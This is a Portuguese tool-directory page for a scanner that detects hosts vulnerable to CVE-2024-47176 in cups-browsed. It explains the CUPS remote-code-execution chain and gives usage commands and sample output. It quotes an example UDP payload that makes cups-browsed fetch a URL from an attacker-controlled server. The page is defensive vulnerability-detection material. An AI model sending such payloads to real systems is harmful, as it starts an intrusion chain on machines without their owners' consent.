Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-47176-Scanner — Um scanner simples para identificar instâncias vulneráveis do cups-browsed na sua rede. | Kitploit
Ferramentas/GitHubGitHub/malwaretech/cve-2024-47176-scanner
ReconhecimentoScanners de VulnerabilidadesExploraçãoColeta de InformaçõesSegurança de RedeTestes de Penetração
GitHubmalwaretech/cve-2024-47176-scanner

CVE-2024-47176-Scanner

Um scanner simples para identificar instâncias vulneráveis do cups-browsed na sua rede.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
6613há 1 anoRevisado pelo Kitploit

Início Rápido

Exemplo de uso: python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337

Scanner de Vulnerabilidade CVE-2024-47176 (cups-browsed)

O que é CUPS e Por que Isso Importa?

CUPS (Common Unix Printing System) é um framework de código aberto para gerenciar e controlar impressoras em sistemas UNIX e similares. É uma das bibliotecas mais usadas para impressão e é suportada por UNIX, Linux e alguns dispositivos Apple.

Várias vulnerabilidades críticas foram encontradas no CUPS, que quando encadeadas, podem levar à execução remota de código. Os CVEs em questão são CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177.

As vulnerabilidades permitem que um atacante remoto adicione ou reconfigure impressoras de rede de forma que elas executem código arbitrário quando os usuários tentarem imprimir a partir delas.

Varredura por Sistemas CUPS Vulneráveis

Uma Visão Rápida do CVE-2024-47176

A primeira vulnerabilidade na cadeia, CVE-2024-47176, é uma falha no daemon cups-browsed.

A vulnerabilidade decorre do fato de que o cups-browsed vincula sua porta de controle (porta UDP 631) ao INADDR_ANY, expondo-a ao mundo. Como as requisições não são autenticadas, qualquer pessoa capaz de alcançar a porta de controle pode instruir o cups-browsed a realizar descoberta de impressoras.

Em casos onde a porta não é alcançável pela internet (devido a firewalls ou NAT), ela ainda pode ser alcançável pela rede local, permitindo escalonamento de privilégios e movimento lateral. Por esse motivo, criei este scanner projetado para varrer sua rede local em busca de instâncias vulneráveis do cups-browsed.

Como Funciona a Varredura do CVE-2024-47176

Tipicamente, um atacante iniciaria o processo de exploração enviando uma requisição especialmente criada para o cups-browsed na porta UDP 631, fazendo com que ele se conecte a uma URL maliciosa sob seu controle.

Por exemplo, um pacote UDP contendo o seguinte: 0 3 http://<attacker_server>/printers/malicious_printer faria o cups-browsed emitir uma requisição HTTP para http://<attacker_server>/printers/malicious_printer.

Se a URL se apresentasse como uma impressora maliciosa, poderia encadear o restante dos CVEs para obter execução remota de código.

Usando este mecanismo, podemos acionar uma instância vulnerável do cups-browsed para emitir uma requisição HTTP (callback) ao nosso próprio servidor, identificando-se como vulnerável.

O processo de varredura é o seguinte:

  1. Monte um servidor HTTP básico (não é necessário se identificar como impressora, já que não estaremos explorando a vulnerabilidade RCE).
  2. Crie um pacote UDP que instruirá o cups-browsed a se conectar ao nosso servidor HTTP.
  3. Envie o pacote UDP para cada IP em um intervalo determinado na porta 631.
  4. Registre quaisquer requisições POST ao endpoint /printers/, que são acionadas por instâncias vulneráveis do cups-browsed.

Supondo que nosso servidor HTTP esteja hospedado em 10.0.0.1:1337, nosso pacote UDP deve se parecer com isto: 0 3 http://10.0.0.1:1337/printers/test1234

Automatizando Varreduras com cups_scanner.py

Este scanner Python cuida de tudo para você (tanto o servidor HTTP quanto a varredura).

O script inicia um servidor HTTP temporário via http.server em um IP e porta especificados, então constrói e envia pacotes UDP para cada IP no intervalo especificado. O servidor HTTP capturará automaticamente os callbacks de instâncias vulneráveis do cups-browsed e os registrará em disco.

Logs amigáveis são escritos em logs/cups.log e requisições HTTP brutas são escritas em logs/requests.log

argumentos de linha de comando

--target o(s) CIDR(s) a serem varridos. Pode ser um único CIDR ou vários CIDRs separados por vírgulas.
--callback o IP e porta local para hospedar nosso servidor HTTP (deve ser alcançável pela faixa alvo)
--scan-unsafe por padrão, varremos apenas endereços de host atribuíveis (excluímos o endereço de rede e o endereço de broadcast). Em alguns casos, pode ser desejável varrer esses endereços, então esse comportamento pode ser alterado com a flag --scan-unsafe.

Exemplo de Uso

Varrendo CIDR 10.0.0.0/24 a partir do IP 10.0.0.1, hospedando o servidor de callback na porta 1337:
python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337

Varrendo múltiplos CIDRs a partir do IP 10.0.0.1, hospedando o servidor de callback na porta 1337:
python3 cups_scanner.py --targets 10.0.0.0/24,10.0.1.0/24 --callback 10.0.0.1:1337

nota: o IP do servidor de callback deve pertencer ao host de varredura, e a porta deve ser alcançável a partir de todos os IPs alvo.

Exemplo de Saída

root@kitploit:~
<root@haxx> python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.0.1:1337
[2024-10-06 21:57:09] starting callback server on 10.0.0.1:1337
[2024-10-06 21:57:14] callback server running on port 10.0.0.1:1337...
[2024-10-06 21:57:14] starting scan
[2024-10-06 21:57:14] scanning range: 10.0.0.1 - 10.0.0.254
[2024-10-06 21:57:14] scan done, use CTRL + C to callback stop server
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.22 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.25 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:17] shutting down server and exiting...

para mais informações veja: Artigo Oficial sobre a Vulnerabilidade CUPS

Baixar ferramenta